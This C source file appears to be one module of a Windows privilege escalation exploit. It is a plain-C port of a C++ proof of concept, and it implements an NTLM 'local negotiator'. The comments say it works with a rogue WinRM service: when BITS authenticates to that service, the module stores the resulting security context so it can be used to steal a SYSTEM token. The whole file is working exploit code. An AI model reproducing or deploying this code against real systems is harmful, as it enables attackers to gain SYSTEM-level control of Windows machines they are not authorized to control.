224 lines
6.1 KiB
C
224 lines
6.1 KiB
C
/**
|
|
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
|
|
in particular for the local negotiator.
|
|
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
|
|
for how I emulated a class in pure C.
|
|
|
|
The local negotiator is an object used to handle security an client-server negotiation data. In this
|
|
exploit, it is used by elevatorService.c (Rogue WinRM service) in order to store security context
|
|
obtained when BITS shoots the Rogue WinRM service, and is required by this service to authenticate.
|
|
*/
|
|
|
|
#include "pch.h"
|
|
|
|
|
|
/**
|
|
Constructor of the LocalNegotiator class. Setup the addresses of class methods,
|
|
and initialize some arguments
|
|
|
|
@param LocalNegotiator* this Address of the instantiated object.
|
|
*/
|
|
void Init(LocalNegotiator* this)
|
|
{
|
|
/* Cleaning everything. This is not very useful as we calloc-ed LocalNegotiator,
|
|
but this is in the case somebody would reuse this function or change the code elswhere.*/
|
|
ZeroMemory(this, sizeof(LocalNegotiator));
|
|
|
|
// linking of class methods
|
|
this->destruct = &destructNegotiator;
|
|
this->processNtlmBytes = &processNtlmBytes;
|
|
this->handleType1 = &HandleType1;
|
|
this->handleType3 = &HandleType3;
|
|
this->returnType2 = &ReturnType2;
|
|
|
|
// Initialization of attributes
|
|
this->phContext = (PCtxtHandle)calloc(1, sizeof(CtxtHandle));
|
|
|
|
this->authResult = -1;
|
|
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
/**
|
|
destructor of the LocalNegotiator Class. Free allocated memory
|
|
|
|
@param LocalNegotiator* this Address of the instantiated object.
|
|
*/
|
|
void destructNegotiator(LocalNegotiator* this)
|
|
{
|
|
free(this->phContext);
|
|
this->phContext = NULL;
|
|
free(this);
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
/**
|
|
This static function is a router which process NTLM request bytes according to if it is a
|
|
NTLM 1 or 3 request (for calling a security context through handleType in localNegotiator
|
|
object.
|
|
|
|
@param LocalNegotiator* this Address of negotiator object
|
|
@param char* ntlmBytes Address of buffer hosting raw bytes of NTLM request
|
|
@param unsigned short len Length of previous buffer argument
|
|
|
|
@return int Error code. 0 for success.
|
|
*/
|
|
static int processNtlmBytes(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
|
|
{
|
|
int messageType = ntlmBytes[8];
|
|
|
|
switch (messageType)
|
|
{
|
|
case 1:
|
|
//NTLM type 1 message
|
|
dprintf("[processNtlmBytes] -- handleType1 start --");
|
|
this->handleType1(this, ntlmBytes, len);
|
|
dprintf("[processNtlmBytes] -- handleType1 end --");
|
|
break;
|
|
case 3:
|
|
//NTLM type 3 message
|
|
dprintf("[processNtlmBytes] -- handleType3 start --");
|
|
this->handleType3(this, ntlmBytes, len);
|
|
dprintf("[processNtlmBytes] -- handleType3 end --");
|
|
break;
|
|
default:
|
|
dprintf("[processNtlmBytes] ERROR: unknown NTLM message type...");
|
|
return -1;
|
|
break;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
Process the data sent by the first request of BITS server (ntlmBytes)
|
|
by creating a security context stored in the local negotiator instance.
|
|
|
|
@param LocalNegotiator* this Address of the instantiated object.
|
|
@param char* ntlmBytes packet sent by BITS server
|
|
@param unsigned short len length of packet sent by BITS (length of prev argument)
|
|
|
|
@return int Error code. 0 for success.
|
|
*/
|
|
static int HandleType1(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
|
|
{
|
|
int status = -1;
|
|
LPSTR lpPackageName = "Negotiate";
|
|
TimeStamp ptsExpiry;
|
|
TimeStamp tsContextExpiry;
|
|
ULONG fContextAttr;
|
|
|
|
status = AcquireCredentialsHandleA
|
|
(
|
|
NULL,
|
|
lpPackageName,
|
|
SECPKG_CRED_INBOUND,
|
|
NULL,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
&this->hCred,
|
|
&ptsExpiry
|
|
);
|
|
|
|
if (status != SEC_E_OK)
|
|
{
|
|
dprintf("[HandleType1] ERROR: AcquireCredentialsHandleA return value: 0x%x", status);
|
|
return -1;
|
|
}
|
|
|
|
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
|
|
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
|
|
|
|
this->secClientBuffer.cbBuffer = len;
|
|
this->secClientBuffer.pvBuffer = ntlmBytes;
|
|
|
|
status = AcceptSecurityContext
|
|
(
|
|
&this->hCred,
|
|
NULL,
|
|
&this->secClientBufferDesc,
|
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
|
//STANDARD_CONTEXT_ATTRIBUTES,
|
|
SECURITY_NATIVE_DREP,
|
|
this->phContext,
|
|
&this->secServerBufferDesc,
|
|
&fContextAttr,
|
|
&tsContextExpiry
|
|
);
|
|
|
|
dprintf("[HandleType1] Result of AcceptSecurityContext() = status: 0x%x--", status);
|
|
return status;
|
|
}
|
|
|
|
|
|
|
|
/**
|
|
Process the data sent by the second request of BITS server, when it answer to the challenge-response
|
|
proposed by the rogue WinRM service (elevatorService.c) by creating a security context stored in the
|
|
local negotiator instance. This security context will be used later to steal a SYSTEM token.
|
|
|
|
@param LocalNegotiator* this Address of the instantiated object.
|
|
@param char* ntlmBytes packet sent by BITS server
|
|
@param unsigned short len length of packet sent by BITS (length of prev argument)
|
|
|
|
@return int Error code. 0 for success.
|
|
*/
|
|
static int HandleType3(LocalNegotiator* this, char* ntlmBytes, unsigned short len)
|
|
{
|
|
InitTokenContextBuffer(&this->secClientBufferDesc, &this->secClientBuffer);
|
|
InitTokenContextBuffer(&this->secServerBufferDesc, &this->secServerBuffer);
|
|
|
|
this->secClientBuffer.cbBuffer = len;
|
|
this->secClientBuffer.pvBuffer = ntlmBytes;
|
|
|
|
ULONG fContextAttr;
|
|
TimeStamp tsContextExpiry;
|
|
int status = AcceptSecurityContext
|
|
(
|
|
&this->hCred,
|
|
this->phContext,
|
|
&this->secClientBufferDesc,
|
|
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
|
//STANDARD_CONTEXT_ATTRIBUTES,
|
|
SECURITY_NATIVE_DREP,
|
|
this->phContext,
|
|
&this->secServerBufferDesc,
|
|
&fContextAttr,
|
|
&tsContextExpiry
|
|
);
|
|
|
|
this->authResult = status;
|
|
|
|
dprintf("[HandleType3] Result of AcceptSecurityContext() = status: 0x%x--", status);
|
|
return status;
|
|
}
|
|
|
|
|
|
|
|
static char* ReturnType2(LocalNegotiator* this, unsigned short* outbuffer_len)
|
|
{
|
|
*outbuffer_len = (unsigned short)this->secServerBuffer.cbBuffer;
|
|
return (char*)this->secServerBuffer.pvBuffer;
|
|
}
|
|
|
|
|
|
|
|
static void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
|
|
{
|
|
pSecBuffer->BufferType = SECBUFFER_TOKEN;
|
|
pSecBuffer->cbBuffer = 0;
|
|
pSecBuffer->pvBuffer = NULL;
|
|
|
|
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
|
|
pSecBufferDesc->cBuffers = 1;
|
|
pSecBufferDesc->pBuffers = pSecBuffer;
|
|
}
|